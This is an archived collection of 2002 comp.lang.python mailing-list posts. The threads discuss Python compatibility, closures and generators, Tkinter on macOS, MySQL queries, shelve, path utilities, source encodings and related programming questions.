Oh well, one day... i really hope that this 'one day' will come. Last time i checked i couldn't find much of any comparison. Just one or two meaningless paragraphs in ruby's documentation, IIRC. holger From tanzer at swing.co.at Fri May 10 03:02:17 2002 From: tanzer at swing.co.at (Christian Tanzer) Date: Fri, 10 May 2002 09:02:17 +0200 Subject: Has Red Hat helped or hurt? In-Reply-To: Your message of "08 May 2002 19:58:19 PDT." <7xsn52jad0.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > tanzer at swing.co.at (Christian Tanzer) writes: > > > It's an error to needlessly break compatibility with it. > > > > And it's FUD to claim needless compatibility breaks have happened. > > How is it FUD? Are you saying the compatibility breaks were needed? > If not, they were needless. There were a few breakages between 1.5.2 and 2.x. IMHO, none were gratuitous. But you continue to rant about breakages without supplying any evidence of where it really mattered to you. In particular, IIRC you always talk about breaks where the code was made consistent with the documentation (e.g., list.append) or an obsolete module was removed (e.g., rand). I don't consider such issues `needless`. If you really want to use a language with lots of accumulated cruft you probably know where to find one. OTOH, Many Python users were pleasantly surprised that they weren't hit by any major issues. You obviously never migrated from Perl 4 to 5 . Citing Red Hat to argue about compatibility breaks doesn't lend weight to your argument either, considering how they messed around with gcc. -- Christian Tanzer tanzer at swing.co.at Glasauergasse 32 Tel: +43 1 876 62 36 A-1130 Vienna, Austria Fax: +43 1 877 66 92 From python at gbronline.com Sat May 25 12:03:12 2002 From: python at gbronline.com (Peter F. Ferris) Date: Sat, 25 May 2002 11:03:12 -0500 Subject: Off Topic, But List Related -- Tired of Getting Spammed Via The Python List? Message-ID: Good Morning, Good Afternoon and Good Evening, I'm not sure if this is happening to everyone or just myself, but for the 4th time in approximately two-three weeks (since I've joined the Python.org list), I been spammed because I'm a list member. I've noticed in at least one instance my raw e-mail address appeared in the 'attribution' line of the posted reply, i.e.: "In a message dated xx/xx/xx someone at somewhere.com wrote: >blah >blah > etc." How do I know that the spam I'm receiving is coming from the Python.org list? Simple, I subscribed with a specific e-mail address that has been used EXCLUSIVELY on & for this list. It has not been used for any other public or private appearances. Yet within a week or two I'm collecting an unusually high amount of spam (considering time on list, etc.) sent to the 'python only' address. I would like to think no one in the group is a spammer (I may be naive at times!). Perhaps a spammer has subscribed to the list merely to harvest these sorts of errors. Whatever the reason, I have a couple of suggestions that I believe can help minimize spam. Even if only a few readers are being spammed, steps could and SHOULD (IMHO) be taken to minimize or PREVENT it. I'm not extremely familiar with Gnu's "Mailman", so I don't know how security aware it is currently configured in our case specifically, and what it's capable of in general. Maybe there are some easy tweaks that can be done to enhance what's available for this list. Also, I subscribe to several other lists, some are served by systems we probably wouldn't care for (due to embedded advertising/HTML, etc.) such as Yahoo, etc. However, Majordomo seems to do an above average job. In one digest I subscribe to, I've been spammed less than 5 times in as many years. Not bad at all, in my opinion. However, another list manager package that strikes me as extremely secure AND user friendly (easy to subscribe/suspend/quit/add/drop sub-groups, etc.) is Shibboleth. One list I've subscribed to for around 3 years or so and has *NEVER* been hacked, compromised, spammed, etc. that I am aware of. In part no doubt due to the integrity & self-policing of the users, but in a LARGE part due to the integrity of the list-ware (Shibboleth). I have no 'interest' in Shibboleth, other than I believe it to be an extremely secure list manager. It seems to genuinely meet or exceed all advertised specifications as far as I am concerned. It's at least worth a look if anyone is looking for a secure mail list manager. Learn more about Majordomo at: http://www.greatcircle.com/majordomo/ Learn more about Shibboleth at: http://sourceforge.net/projects/shibboleth/ Read a Shibboleth White Paper at: http://www.interhack.net/pubs/shibboleth/ Just eager to minimize the spam via this list... Many folks here have helped me with their code suggestions, etc. This is perhaps one way I can return the favor. :-) Ok, I've got my asbestos tuxedo on, flame away! ;-) Cheers, --Pete From shalehperry at attbi.com Thu May 16 12:36:17 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Thu, 16 May 2002 09:36:17 -0700 (PDT) Subject: how to determine an 'open' string? In-Reply-To: <20020516183309.H28033@prim.han.de> Message-ID: > > what about > > '''"""'''argh"""'''""" > >:-) > what about it? I count 3 single qt triples and 3 double qt triples. 3 % 2 is not 0. From martin at v.loewis.de Fri May 24 18:30:42 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 25 May 2002 00:30:42 +0200 Subject: Floating point format References: <3ceeb292_2@news3.newsgroups.com> Message-ID: jb writes: > On my system floating points are displayed as 12.34. > Is there a simple possibility to have 12,34 instead? Of course I could look > at the output of '%4.1f' % x and replace the '.' by a ',', but is there a > more elegant way? You need to use locale.setlocale, then locale.format. HTH, Martin From eppstein at ics.uci.edu Wed May 15 14:44:44 2002 From: eppstein at ics.uci.edu (David Eppstein) Date: Wed, 15 May 2002 11:44:44 -0700 Subject: yet another generator implementation (was Re: how to write function that returns function) References: <4f52f844.0205141503.40000c50@posting.google.com> <4f52f844.0205150815.631b3415@posting.google.com> Message-ID: In article , George Demmy wrote: > CL: > > (defun foo (n) #'(lambda () (incf n))) > > Python: > > def foo(n=0): > class bar: > def __init__(self): > self.n = n > def next(self): > self.n += 1 > return self.n > return bar().next > > f = foo() > print f(),f(),f() > -> 2 3 4 > g = foo(1) > -> 3 4 5 You seem to have an off by one error on your output: I get 1 2 3 and 2 3 4 Anyway, as long as you're going to do that, why not: from __future__ import generators def foo(n=0): def bar(n=n): while 1: n += 1 yield n return bar().next [ from earlier message by same author: ] > I don't think that the "Guido implementation" of Python allows the > capture of state in closures the same way that you can in Scheme and > CL, though you can fake it very easily, as above. I think the key difference is that Python's closures only give you read access to the variables. If you want write access you have to encapsulate them in something else, like a list: def foo(n=0): n=[n] def bar(): n[0] += 1 return n[0] return bar -- David Eppstein UC Irvine Dept. of Information & Computer Science eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/ From phlip_cpp at yahoo.com Mon May 6 12:55:39 2002 From: phlip_cpp at yahoo.com (Phlip) Date: 6 May 2002 09:55:39 -0700 Subject: Darwin + Tkinter + Aqua-Tk? (Re: Macintosh Development) References: <3CBA5EDB.C60BF821@cosc.canterbury.ac.nz> <20020415144153325+0100@pc-62-30-160-65-hw.blueyonder.co.uk> <3CBB9217.8A54E272@cosc.canterbury.ac.nz> Message-ID: <63604d2.0205060855.2348797f@posting.google.com> (Tony Lownds) wrote: > With the second alpha file release of the AquaTk stuff on > http://tcl.sf.net, > this won't happen. We have two issues at our site, using that very latest version, and using Python built with all the options you listed. The first issue is when we run Python Megawidget's Pmw ... All.py, we can click the (beautiful aquamarine) buttons on the left, but they don't call back their actions. Other programs show similar gaps in their callback abilities. Is '<1>' supported as a shortcut for ''? The second issue; when we run IDLE and try to Open a file, the system chokes on the current directory: >>> Exception in Tkinter callback Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/2.2/lib/python2.2/lib-tk/Tkinter.py", line 1292, in __call__ return apply(self.func, args) File "/Applications/Python.app/Contents/Resources/idle/IOBinding.py", line 69, in open filename = self.askopenfile() File "/Applications/Python.app/Contents/Resources/idle/IOBinding.py", line 182, in askopenfile return self.opendialog.show(initialdir=dir, initialfile=base) File "/Library/Frameworks/Python.framework/Versions/2.2/lib/python2.2/lib-tk/tkCommonDialog.py", line 53, in show s = apply(w.tk.call, (self.command,) + w._options(self.options)) TclError: bad directory "/" Attempts to change the current Python's current directory first lead to the same insect. We are all fulltime Tkinter tinkerers here, but this is our first bash at AquaTk. -- Phlip From mal at lemburg.com Tue May 28 05:08:05 2002 From: mal at lemburg.com (M.-A. Lemburg) Date: Tue, 28 May 2002 11:08:05 +0200 Subject: Reminder: European Python and Zope Conference 2002 (EuroPython) Message-ID: <3CF348F5.8010007@lemburg.com> As one of the EuroPython organizers, I would like to remind you that the early bird registration period is coming to an end. It is only available until May 31st, so... Register now and enjoy the most exiting European Python event this year ! Conference homepage and registration: http://www.europython.org/ The conference features keynotes from Guido van Rossum, Eric S. Raymond and offers highlights on many Python and Zope topics with a strong focus on Python based applications looked at from both a management and a developer point of view. Regards, -- Marc-Andre Lemburg CEO eGenix.com Software GmbH ______________________________________________________________________ Company & Consulting: http://www.egenix.com/ Python Software: http://www.egenix.com/files/python/ Meet us at EuroPython 2002: http://www.europython.org/ From jeff at ccvcorp.com Fri May 3 17:36:05 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Fri, 3 May 2002 14:36:05 -0700 Subject: Sleep command References: <3CD25A92.70005@lucent.com> Message-ID: In article , holger krekel says... > Jeff Shannon wrote: > > In article , > > holger krekel says... > > > > > > import time > > > time.sleep(30) > > > > > > and time should stand still for 30 seconds. > > > btw, i would rather call it 'statement','command' or 'code' than > > > 'specification'. > > > > Picking nits here, but I would call it a function, because that > > is exactly what it is. I most certainly would *not* call it a > > statement -- that term has a definite meaning in this context, > > and sleep() is *not* a statement. :) > > picking nits here, but how is 'sleep(30)' or 'time.sleep(30)' > a function? Very well, then, sleep (or time.sleep) is a function, which is called with an argument of 30 in the specified expression. Whether that expression is a statement or not depends on the context in which it is placed. > nit picking is what many of us ware best at on this list, i guess. > After all it often makes a difference :-) Yes, it does... and while, at a certain level, 'sleep(30)' could be seen as technically a statement (but only if it appears on a line by itself), calling it a statement is likely to lead to confusion of the inexperienced, when they later learn of the difference between expressions and statements. For instance, statements may not be used in a lambda, but 'sleep(30)' could be. This could confuse someone who has been told that 'sleep(30)' is a statement. -- Jeff Shannon Technician/Programmer Credit International From gerhard at bigfoot.de Tue May 7 19:59:40 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Wed, 8 May 2002 01:59:40 +0200 Subject: MySQL questions In-Reply-To: References: Message-ID: <20020507235940.GA722@lilith.my-fqdn.de> * Billy Ng [2002-05-07 23:33 +0000]: > The combination of the user_id and product_id will be uniqe. You'd make this combination the primary key, then. Just add this to your table definition: primary key(user_id, product_id) Fields used for a PRIMARY KEY must be NOT NULL. > When I get the > product_id and user_id, i want to change the tableA to see if there is a > record that has this user_id and product_id. If not, I will insert a record > with this user_id and product_id. What I am doing right is: > > Query to count tableA whether it has the user_id and product_id > if count is 0 > insert tableA (user_id, product_id) values (xxxxx, xxxxxxx) > > I think it must a way to write it in one SQL statement. I don't think this is possible, INSERT and UPDATE are different beasts. Sometimes, you can avoid evaluating the SELECT by just DELETEing the entry, then INSERTing a new one. If there's no match to the WHERE clause in the delete, it won't delete anything, so it's basically the non-existant "INSERT OR UPDATE" that you seem to look for. > > > Question3 > > > Can I query from a query in MySQL? > > > > > You mean can the output of one query become the input of another? Only if > > you store the first query's output in a temporary table. Yes, MySQL doesn't have subselects, which is one of it's many weaknesses. Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From gerhard at bigfoot.de Tue May 7 05:21:31 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 7 May 2002 09:21:31 GMT Subject: survey: is shelve broken? should it be fixed? References: Message-ID: Roman Suzi wrote in comp.lang.python: > On Tue, 7 May 2002, Alex Martelli wrote: > >> We probably can't change this default (mis-)behavior due to backward >> compatibility needs, but it wouldn't be too hard to at least give a simple >> _optional_ way out, even though off-by-default: >> [...] > I think it is better to fix and not looking for backward compatibility! > It will not be seen on the background of other major changes to Python. > So, no smart is needed, IMHO. I agree. > Or, maybe python needs some runtime key or phrase like: > > from __past__ import broken_shelve I hope this was a joke. You never know with some of the PEPs ;-) Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From bl at netgroup.dk Wed May 29 06:13:06 2002 From: bl at netgroup.dk (Bo Lorentsen) Date: 29 May 2002 12:13:06 +0200 Subject: Embedding and threads ? Message-ID: <1022667186.681.105.camel@netgroup> Hi ... I have been looking for a way to embed Python into a C/C++ program, but I have some problems understanding what to do, if I like to support threads. I like to de something like this : /* Main or other thread */ Py_Object *pCode1, pCode2; Py_Initealize(); pCode1 = Py_CompileString( "print \"fancy python code from DB\"", ... ); pCode2 = Py_CompileString( "print \"more fancy python code from DB\"", .. ); ... /* Thread one */ PyObject *pLocals = makeLocals(); PyObject *pRes = PyEval_EvalCode( pCode1, pLocals, NULL ); ... /* Thread two */ PyObject *pLocals = makeLocals(); PyObject *pRes = PyEval_EvalCode( pCode2, pLocals, NULL ); ... Now is this possible ? Will each python code run separatly, in issolated environments ? Will it coredump ? Can I control what the python code is allowed to import, and where stdout/err/in is directed ? Are there any other way of controlling the execution environment of earch thread, like getting a kind of execution context thingy ? Do I ask too much ? :-) I'm looking forward to some hints. /BL From barbaros at lmc.fc.ul.pt Tue May 21 05:45:49 2002 From: barbaros at lmc.fc.ul.pt (Cristian Barbarosie) Date: 21 May 2002 02:45:49 -0700 Subject: suggestion for os.path.commonprefix Message-ID: <6c575772.0205210145.359ea49a@posting.google.com> I noticed the following peculiar behaviour os.path.commonprefix: >>> os.path.commonprefix(['/home/someuser/modulef/essay.tex', ... '/home/someuser/mollifiers/fig01.ps']) '/home/someuser/mo' I think the answer should be '/home/someuser/'. At least, this is what I expect when I do pathname manipulations in Python. So I propose the following replacement for os.path.commonprefix: ------------------------------------------------------------------- def commonprefix (list_of_paths): """Like in os.path, but more in the spirit of path manipulation. Items must end in os.sep if they represent directories.""" number_of_paths = len(list_of_paths) return '' first_path = list_of_paths[0] largest_i = -1 for i in range(len(first_path)): stop = 0 character = first_path[i] for n in range(1,number_of_paths): item = list_of_paths[n] if (i >= len(item)) or (character <> item[i]): # here we took advantage of the way Python evaluates # logical expressions: if the first one is true, # then the second one is not evaluated stop = 1 break if stop: break if character == os.sep: largest_i = i prefix = first_path[:largest_i+1] return prefix -------------------------------------------------------------------- Notes: 1. I know that "if number_of_paths == 0" is the same as "if not number_of_paths", but I prefer the first version, it is more readable. 2. It is important that directory names end in os.sep. This means that you cannot use os.path.dirname, as it returns something not ending in os.sep: >>> os.path.dirname('/home/someuser/modulef/essay.tex') '/home/someuser/modulef' So I built my own dirname: def dirname (path): """The inconvenient of os.path.dirname is that it does not give a name ending in / (that is, ending in os.sep), except when it returns root directory.""" dir = os.path.dirname (path) l = len(dir) if l==0: return '' if dir[l-1] != os.sep: dir = dir + os.sep return dir 3. The problem with my version of commonprefix is that, if you give just the name of a _file_ as an argument, it returns the parent directory instead of the file itself: >>> commonprefix(['/home/someuser/modulef/essay.tex']) '/home/someuser/modulef/' For me this behaviour is acceptable, for others it may be not. Thank you for your attention, Cristian Barbarosie barbaros at lmc.fc.ul.pt http://www.lmc.fc.ul.pt/~barbaros From ianb at colorstudy.com Tue May 14 19:10:26 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 14 May 2002 18:10:26 -0500 Subject: how to write function that returns function In-Reply-To: <4f52f844.0205141503.40000c50@posting.google.com> References: <4f52f844.0205141503.40000c50@posting.google.com> Message-ID: <1021417827.1419.245.camel@localhost> On Tue, 2002-05-14 at 18:03, Paul Graham wrote: > I found on the web a page that says I could define > this as follows: > > def addn(x): > return lambda y,z=y: x+z > > but I don't think this is exactly the same thing, > because it returns a function that takes a second > optional argument. That is a substantial difference. > If the Scheme function is inadvertently called > (e.g. in someone else's code) with two arguments, it > would signal an error, whereas the code above would > quietly give the wrong answer. This is the typical way of doing it, and yes, it is somewhat flawed. In Python 2.1+ you can do: from __future__ import nested_scopes def addn(x): return lambda y: x+y Ian From grante at visi.com Thu May 30 10:58:51 2002 From: grante at visi.com (Grant Edwards) Date: Thu, 30 May 2002 14:58:51 GMT Subject: Why no open(f, "w").write()? References: <7iadqi9wt2.fsf@enark.csis.hku.hk> Message-ID: In article , Grant Edwards wrote: > In article <7iadqi9wt2.fsf at enark.csis.hku.hk>, Isaac To wrote: >>>>>>> "Grant" == Grant Edwards writes: >> >> >> The question is: When does the file get closed? >> >> Grant> Sometime before the program exits. >> >> Wrong. Sometime when the garbage collector is executed, or never if the >> garbage collector never choose to collect that. > > I know of no OS that doesn't close the file when the process > terminates. I suppose that doesn't guarantee that data buffered by the Python implimentation gets flushed... -- Grant Edwards grante Yow! I hope something GOOD at came in the mail today so visi.com I have a REASON to live!! From Gabe.Newcomb at noetix.com Tue May 21 18:02:33 2002 From: Gabe.Newcomb at noetix.com (Gabe Newcomb) Date: Tue, 21 May 2002 15:02:33 -0700 Subject: list prob Message-ID: <0C7CA8D8DF75494EB09AB6016990107F016F5CC9@NOXMAIL.noetixad.com> string.find() returns -1 if the string isn't found, instead of the ValueError thrown by string.index() -----Original Message----- From: kemu [mailto:kemusoft at hotmail.com] Sent: Tuesday, May 21, 2002 2:49 PM To: python-list at python.org Subject: list prob I want to search a list if I do list.index("word to search") and the word isn't in the list I get an error I don't want to get one from python but want my own error like word is not in the list how ? or is there an other way to search the list for strings and if he doesn't find one he doesn't print an error ? -- http://mail.python.org/mailman/listinfo/python-list From kseehof at neuralintegrator.com Thu May 2 20:09:30 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Thu, 02 May 2002 17:09:30 -0700 Subject: Low level python In-Reply-To: <4_hA8.4181$lA2.420467@news.xtra.co.nz> Message-ID: > I've been thinking of writing a device driver in python. > > Some people say this is ridiculous. > > I used psyco to improve the speed, and now have a program that does the > device driver's job (a proprietry touchscreen driver) in user mode. > > Now, I have no idea how to make the python exe or dll run in > kernel mode. I > wonder if there are some special api calls that need to made. > > I'm downloading WinDriver. I hope this can help me. > > Does anyone not think this is a crazy thing to do? > > Why not use python for a device driver? > > I just see it as python dll is the driver, and the .py file are like > permanent configuration file for it. > > Comments Appreciated > Matthew Sherborne I think it's a fabulous idea. I think you will find yourself writing a few python extensions, so be prepared. Perhaps even a python operating system is plausable. I'm not very knowledgeable about operating system design, but it seems as if some operating systems such as Windows suffer from a lack of a robust universal object model with garbage collection. The idea would be to expose the kernel and low level interfaces as python extensions. As processors continue to move into the GHz zone, function call overhead becomes less significant, while scaleability and code complexity become more significant. Well, now maybe people will call me crazy instead of you :-) - Ken From andreas at kostyrka.priv.at Sun May 19 05:34:40 2002 From: andreas at kostyrka.priv.at (Andreas Kostyrka) Date: 19 May 2002 11:34:40 +0200 Subject: how to perform session management in python ? In-Reply-To: References: Message-ID: <1021800880.4812.25.camel@vaio2> Am Son, 2002-05-19 um 06.59 schrieb Matthew Chong: > how ?? Which OS? What exactly do you want? Assuming Posix this should work: import os,signal os.kill(pid,signal.SIGSTOP) os.kill(pid,signal.SIGCONT) Andreas From aleax at aleax.it Thu May 9 08:30:53 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 09 May 2002 12:30:53 GMT Subject: "a better input" References: <080520021314438230%alexis.layton@post.harvard.edu> Message-ID: <1_tC8.40668$zW3.442583@news1.tin.it> Michael Hudson wrote: > Alex Martelli writes: > >> > *I realize there are no true complex literals, we'd have to do a little >> > extra work here >> >> What extra work? >> >> >>> complex('23+45j') >> (23+45j) > > Well, how does cooked_input or whatever tell that 23+45j is a complex > literal? The parser won't, at present... What about: def isThisAComplexLiteral(this): try: complex(this) except: return False else: return True if you *must* think in boolean terms? Of course, the real approach is less silly: def cooked_input(astr=None): if astr=None: astr=raw_input for atype in int, long, float, complex: try: return atype(astr) except: pass else: return astr or variations thereon (stripping astr in the final statement if you think that' better, &c). Alex From starx at pacbell.net Fri May 10 06:32:33 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 10 May 2002 10:32:33 GMT Subject: little question References: <4aNC8.26326$CN3.810152@news2.tin.it> Message-ID: Alex Martelli || Fri 10 May 2002 03:20:48a: > shagshag wrote: > >> Does anyone knows where to find (a) python module(s) to handle >> inverted index and build it from text/xml file ? > > I'm not sure what an *inverted* index is. A dictionary indexed by > word and for each word giving the set of (filename,linenumber) where > the word appears appears as a tiny example in my Linux Magazine > article, April issue -- a few lines to build it, a few to use it for > queries "where is this word found". But that's what I'd call an > index, nothing 'inverted' about it, so I don't know what you need. Hm, I don't get it either. But it sounds like the answer would be something like this: Build a dictionary that repersents whatever you are calling an 'index'. Then... do something like this: invindex = {} for key in index: data = index[key] invindex[data] = key Note that this will fail silently if the index is not a 1:1 mapping, or, that is, if any two keys have the same data. (If you know the vertical line test for functions, think of that for dictionarys). You would have to do something special for that, like throw an exception or make that data map to a list of two keys. -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From dalke at dalkescientific.com Sat May 18 21:24:05 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Sat, 18 May 2002 19:24:05 -0600 Subject: Gadfly-1.0rc1 Errors References: Message-ID: David LeBlanc: >This is not failing because a file is open imo; it's failing because you're >trying to remove an non-empty directory. Windows won't do that directly. It >would be nice if shutils.rmtree took an '-f' flag analgous to the force flag >of rm on Unix and did the right thing on windows, which is delete all the >files in the selected dir(s) and then deleted the directory(s). Doesn't shutil.rmtree do exactly that? At the end of this email is the relevant code. The '_build_cmd_tuple' creates a list of terms of the form (function, string) which when applied in order remove all the files and directories under the given path. They are sorted so all the files in a directory are listed first, followed by the directory. In other words, it does delete all the files in a directory first and only then deletes the directory. Which is what you wanted. def rmtree(path, ignore_errors=0, onerror=None): """Recursively delete a directory tree. If ignore_errors is set, errors are ignored; otherwise, if onerror is set, it is called to handle the error; otherwise, an exception is raised. """ cmdtuples = [] _build_cmdtuple(path, cmdtuples) for cmd in cmdtuples: try: apply(cmd[0], (cmd[1],)) except: exc = sys.exc_info() if ignore_errors: pass elif onerror: onerror(cmd[0], cmd[1], exc) else: raise exc[0], (exc[1][0], exc[1][1] + ' removing '+cmd[1]) # Helper for rmtree() def _build_cmdtuple(path, cmdtuples): for f in os.listdir(path): real_f = os.path.join(path,f) if os.path.isdir(real_f) and not os.path.islink(real_f): _build_cmdtuple(real_f, cmdtuples) else: cmdtuples.append((os.remove, real_f)) cmdtuples.append((os.rmdir, path)) Andrew dalke at dalkescientific.com From tritran2001 at iprimus.com.au Sat May 25 07:08:14 2002 From: tritran2001 at iprimus.com.au (tritran) Date: Sat, 25 May 2002 11:08:14 GMT Subject: Python help Message-ID: <3cef7001_1@news.iprimus.com.au> Assume that i got the string of text such as "Student name:Yajen | Class: 143 | ID:205851C" I like to seperate this line into the 3 varibles like stName, stClass, and stId. How can i do this, can someone help me. Thank a lot From jeremy at jdyallop.freeserve.co.uk Wed May 15 12:02:45 2002 From: jeremy at jdyallop.freeserve.co.uk (Jeremy Yallop) Date: 15 May 2002 16:02:45 GMT Subject: how to run *.py in pythonshell on win98 References: <3ce2848a.19425450@news.cis.dfn.de> Message-ID: * Markus Gl?tzel | Now I want to know how to run file.py directly in the IDLE Python | shell. edit->"Run script" From skip at pobox.com Fri May 31 12:10:23 2002 From: skip at pobox.com (Skip Montanaro) Date: Fri, 31 May 2002 11:10:23 -0500 Subject: semi-concatenated strings In-Reply-To: References: Message-ID: <15607.41071.907494.269536@12-248-41-177.client.attbi.com> Grant> rows = self.executesql("select cities.city, state, country" + Grant> " from cities, venues, events, addresses" + Grant> " where cities.city like %s" + Grant> " and events.active = 1" + Grant> " and venues.address = addresses.id" + Grant> " and addresses.city = cities.id" + Grant> " and events.venue = venues.id", Grant> (city,)) Grant> which doesn't look so bad. (But then again, without the Grant> backslash it's less explicit .) You can avoid the backslash with a pair of parens. Recasting my original example a little: rows = self.executesql(("select cities.city, state, country" + " from cities, venues, events, addresses" + " where cities.city like %s" + " and events.active = 1" + " and venues.address = addresses.id" + " and addresses.city = cities.id" + " and events.venue = venues.id"), (city,)) I'm surprised nobody commented on the rather weird indentation of the SQL statement in my original example. I use the style in this last example now (well, without the extra parens and the plus signs). -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) Boycott Netflix - they spam - http://www.musi-cal.com/~skip/netflix.html From fperez528 at yahoo.com Mon May 20 20:38:56 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Mon, 20 May 2002 18:38:56 -0600 Subject: How to know if a popen*() was successful? Message-ID: I'm failing at detecting whether a process has indeed been opened by a popen4 call. Consider the following code: pager_cmd = 'less' pager,shell_out = os.popen4(pager_cmd,'w') How can I tell if less was indeed opened? - reading shell_out doesn't work because if there are no error messages (success) it just hangs. I guess I could put a signal handler around it and trip an alarm but it sounds like major overkill and I'd like to know if there's a cleaner way. - I can't just start writing to the pipe and test for a broken pipe because when the user legally quits less (if it opened ok), a broken pipe exception is also triggered (which I'm already catching downstream). So, is there a way to determine immediately after the popen4() call if the pipe to less did open ok? The problem is that it _appears_ to open (pager is a file object even if less is not installed), and the error conditions only seem to be tripped further downstream. Any help greatly appreciated. Cheers, f. ps. I'm testing on linux, but this code needs to be multiplatform, hence my need to check ok. If less isn't present, I default to a python-written dumb pager for platforms like windows. From spam at fisher.forestry.uga.edu Tue May 21 17:48:59 2002 From: spam at fisher.forestry.uga.edu (Chris Fonnesbeck) Date: 21 May 2002 14:48:59 -0700 Subject: Embedding a Numeric array in C References: Message-ID: I thought that weave was for extending, rather than embedding, C/C++. Its not apparent (to me) how to use blitz to embed python into C. All I am trying to do is run a python function (which contains Numeric classes) from within C, and get it to return a number. Shouldnt be anything TOO complicated. Thanks, C. Fernando P?rez wrote in message news:... > Chris Fonnesbeck wrote: > > > I am trying to find out how to properly embed a Numeric array type in > > C. The following code compiles, but segfaults when run: > > > > Don't sweat it. Use weave (http://scipy.org) with blitz if you can. It's far > easier than writing your own typemaps correctly (a non-trivial task), and > will probably be enough in 90% of the cases. > > At http://www-hep.colorado.edu/~fperez/python/python-c/ you'll find some > examples of weave use with Numeric arrays to get you started. > > Cheers, > > f. From donn at drizzle.com Thu May 30 02:18:08 2002 From: donn at drizzle.com (Donn Cave) Date: Thu, 30 May 2002 06:18:08 -0000 Subject: Why no open(f, "w").write()? References: None Message-ID: <1022739487.129742@yasure> Quoth "Delaney, Timothy" : | > From: VanL [mailto:news at lindbergs.org] | > | > Ok, I've read the thread... but how is | > | > open(f, 'w').write(stuff) | > | > different than | > | > lines = open(f).readlines() | > | > in terms of bad/good programming practice? | > | > I use that second construction quite frequently. | | It suffers from the same problems, but the symptoms aren't as bad. | | With the read version, the file may still hang around without being closed. | This may prevent other processes (or the same process) from opening the | file. Usually when the program exists the OS will close the file. Certainly on UNIX, there is no such problem - nothing prevents a file from being opened for read concurrently by many processes or one process, at least that would be exercised by open(f).readlines() The only external problem I can think of would be that the file inode would survive, if something were to delete (unlink) its directory entry (can you say "reference counting"?) and in some improbable scenario the filesystem could run out of space. More likely (though still not terribly likely) you could run out of file descriptors. That's an integer range, at least 0..255 but probably a lot more, but in a long-running program it could be something to look out for. Donn Cave, donn at drizzle.com From gr86882 at i-one.at Wed May 22 17:39:27 2002 From: gr86882 at i-one.at (gr) Date: 22 May 2002 14:39:27 -0700 Subject: y=if x>High: 2 elif x Hi, is there a simple possiblity to "teach" Python: y=if x>High: 2 elif xHigh: y=2 elif x Message-ID: In article , Martin v. Loewis writes >Robin Becker writes: > > >fileencoding= > >which is syntax supported by vim. Unfortunately, in vim 6, this >doesn't quite work: vim applies the setting at a time when it already >has decided what encoding to use. > I already knew that in fact it seems to be the encoding flag that determines things. I think fileencoding is used for possible conversion of the file into the required encoding. Thus both gvim --cmd="set encoding=utf8" aaaa.txt gvim --cmd="set encoding=utf8" aaaa.txt display a utf8 file, aaaa.txt, correctly, but the latter has actually converted the characters to latin1 (at least for me). ...... I must have missed this list somewhere. >We do, see my list above. I expect that any editor that is "unicode >aware" will support the UTF-8 signature, atleast when reading >(hopefully also when writing). > >> As for the PEP itself the only snag seems to me to be the BOM + comment >> problem. If I change the BOM by hitting saveAs myWeirdEncoding the file >> is a dead python unless I also change the comment (or is that an issue >> only with utf8 at present?). > >I'm not sure I understand the problem. If you do saveAs >myWeirdEncoding, there won't be a BOM in the file unless >myWeirdEncoding is UTF-8. If there are multiple conflicting encoding >specifications in a file, the file is in error. ..... well I'm assuming that other standards like the utf8 BOM will eventually be supported, but like you I hope utf8 wins out. >Regards, >Martin > -- Robin Becker From nospam at nospam.nospam Sun May 12 08:08:39 2002 From: nospam at nospam.nospam (Max) Date: Sun, 12 May 2002 12:08:39 GMT Subject: os.spawnl problem under windows... Message-ID: I have a problem using the spawn functions under windows... i just can't start anything!!!! i did: >>>import os >>>os.spawnl(os.P_WAIT, 'c:\windows\notepad.exe', 'c:\windows\notepad.exe') Traceback (most recent call last): File "", line 1, in ? os.spawnl(os.P_WAIT, 'c:\windows\notepad.exe', 'c:\windows\notepad.exe') File "C:\Python22\lib\os.py", line 530, in spawnl return spawnv(mode, file, args) OSError: [Errno 22] Invalid argument >>> i tasted may flavours of the program's name ('notepad', 'notepad.exe', 'c:\windows\notepad.exe') both for the path parameter (second parameter) and for the arguments (third parameter), always with the same results... :( The 3rd parameter is required, i also tried '', and 'c:\autoexec.bat' (it exists...) and 'c:\windows\notepad.exe c:\autoexec.bat', ... I can't understand why it doesn't work, and how i can execute another program from my Python script... Thanks in advance for any suggestion... Max From aleax at aleax.it Wed May 8 10:32:53 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 08 May 2002 14:32:53 GMT Subject: survey: is shelve broken? should it be fixed? References: <60FB8BB7F0EFC7409B75EEEC13E20192215173@admin56.narex.com> <20020507221623.GP4604@devel.trillke> Message-ID: holger krekel wrote: ... >> Say my program uses frameworks A, B, and C. How ever should I know >> which of those frameworks uses shelve, and how it uses it? What if ... > I wonder if this isn't actually only of theoretic importance in our > special case... Quite possible: I have no idea which 3rd party Python libraries use 'shelve'. But as you propose the global-variable-fix as a _general_ approach, the importance grows to surely more than theoretical. For the specific case of 'shelve', how do you 